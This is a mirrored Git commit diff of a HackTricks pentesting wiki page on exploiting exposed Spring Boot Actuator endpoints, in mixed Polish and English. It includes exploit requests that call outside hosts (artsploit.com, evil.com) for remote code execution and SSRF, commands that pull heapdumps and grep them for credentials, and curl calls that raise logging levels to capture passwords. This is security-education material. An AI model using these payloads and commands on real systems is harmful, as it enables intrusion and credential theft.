mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
53881e628d
commit
145665588c
File diff suppressed because it is too large
Load Diff
@ -8,28 +8,28 @@
|
||||
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Wykorzystywanie Spring Boot Actuators
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
**Sprawdź oryginalny post z** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Sprawdź oryginalny wpis na** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Kluczowe punkty:**
|
||||
### **Key Points:**
|
||||
|
||||
- Spring Boot Actuators rejestruje punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nie wrażliwe, ale deweloperzy często wyłączają to zabezpieczenie.
|
||||
- Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub umożliwiać szkodliwe działania:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`.
|
||||
- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką `/actuator/`.
|
||||
- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
|
||||
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
|
||||
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
|
||||
|
||||
### **Techniki eksploatacji:**
|
||||
### **Exploitation Techniques:**
|
||||
|
||||
1. **Zdalne wykonanie kodu przez '/jolokia'**:
|
||||
- Punkt końcowy `/jolokia` udostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.
|
||||
- Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML.
|
||||
- Przykład URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modyfikacja konfiguracji przez '/env'**:
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
|
||||
- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
|
||||
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Config Modification via '/env'**:
|
||||
|
||||
- Jeśli obecne są biblioteki Spring Cloud, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych.
|
||||
- Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
|
||||
- Przykład żądania POST exploita:
|
||||
- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
|
||||
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
|
||||
- Example exploit POST request:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -40,25 +40,101 @@ Content-Length: 65
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Inne przydatne ustawienia**:
|
||||
- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
|
||||
3. **Other Useful Settings**:
|
||||
- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
|
||||
|
||||
### **Dodatkowe informacje:**
|
||||
### **Additional Information:**
|
||||
|
||||
- Kompletna lista domyślnych actuatorów jest dostępna [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.
|
||||
- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
|
||||
|
||||
### **Pokrewne tematy:**
|
||||
### **Related Topics:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Szczegóły dotyczące wykorzystania kombinacji endpointu `/env` i bazy H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki**:
|
||||
- Obsługa parametrów macierzowych (`;`) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
|
||||
- Przykład żądania exploita:
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
|
||||
- Przykładowe żądanie exploitujące:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
Jeśli `/actuator/heapdump` jest dostępny, zazwyczaj można pobrać pełny zrzut sterty JVM, który często zawiera aktywne sekrety (poświadczenia DB, klucze API, Basic-Auth, wewnętrzne adresy URL usług, mapy właściwości Spring itp.).
|
||||
|
||||
- Pobieranie i szybkie wstępne przejrzenie:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Głębsza analiza przy użyciu VisualVM i OQL:
|
||||
- Otwórz heapdump w VisualVM, sprawdź instancje `java.lang.String` lub uruchom OQL, aby wyszukać sekrety:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automatyczne wydobycie za pomocą JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Typowe wartościowe odkrycia:
|
||||
- Obiekty Spring `DataSourceProperties` / `HikariDataSource` ujawniające `url`, `username`, `password`.
|
||||
- Wpisy `OriginTrackedMapPropertySource` odsłaniające `management.endpoints.web.exposure.include`, porty usług oraz osadzone Basic-Auth w URLach (np. Eureka `defaultZone`).
|
||||
- Fragmenty żądań/odpowiedzi HTTP, w tym `Authorization: Basic ...`, uchwycone w pamięci.
|
||||
|
||||
Wskazówki:
|
||||
- Użyj listy słów skoncentrowanej na Spring do szybkiego odnajdywania endpointów actuator (np. SecLists spring-boot.txt) i zawsze sprawdź, czy `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` również są dostępne.
|
||||
- Poświadczenia z heapdump często działają dla sąsiednich usług, a czasem także dla użytkowników systemowych (SSH), dlatego testuj je szeroko.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
Jeśli `management.endpoints.web.exposure.include` na to pozwala i `/actuator/loggers` jest dostępny, można dynamicznie podnieść poziomy logowania do DEBUG/TRACE dla pakietów obsługujących uwierzytelnianie i przetwarzanie żądań. W połączeniu z czytelnymi logami (poprzez `/actuator/logfile` lub znane ścieżki logów) może to ujawnić poświadczenia przesyłane podczas procesów logowania (np. nagłówki Basic-Auth lub parametry formularzy).
|
||||
|
||||
- Wyenumeruj i podbij wrażliwe loggery:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Znajdź, gdzie zapisywane są logi i pozyskaj je:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Wywołaj ruch logowania/uwierzytelniania i przeanalizuj logi pod kątem poświadczeń. W architekturach mikroserwisów z gateway przed autoryzacją, włączenie TRACE dla pakietów gateway/security często powoduje ujawnienie nagłówków i ciał formularzy. Niektóre środowiska nawet okresowo generują syntetyczny ruch logowania, co sprawia, że zbieranie danych staje się trywialne po zwiększeniu szczegółowości logów.
|
||||
|
||||
Uwaga:
|
||||
- Zresetuj poziomy logów po zakończeniu: `POST /actuator/loggers/<logger>` z `{ "configuredLevel": null }`.
|
||||
- Jeśli `/actuator/httpexchanges` jest dostępny, może też ujawnić metadane ostatnich żądań, które mogą zawierać poufne nagłówki.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user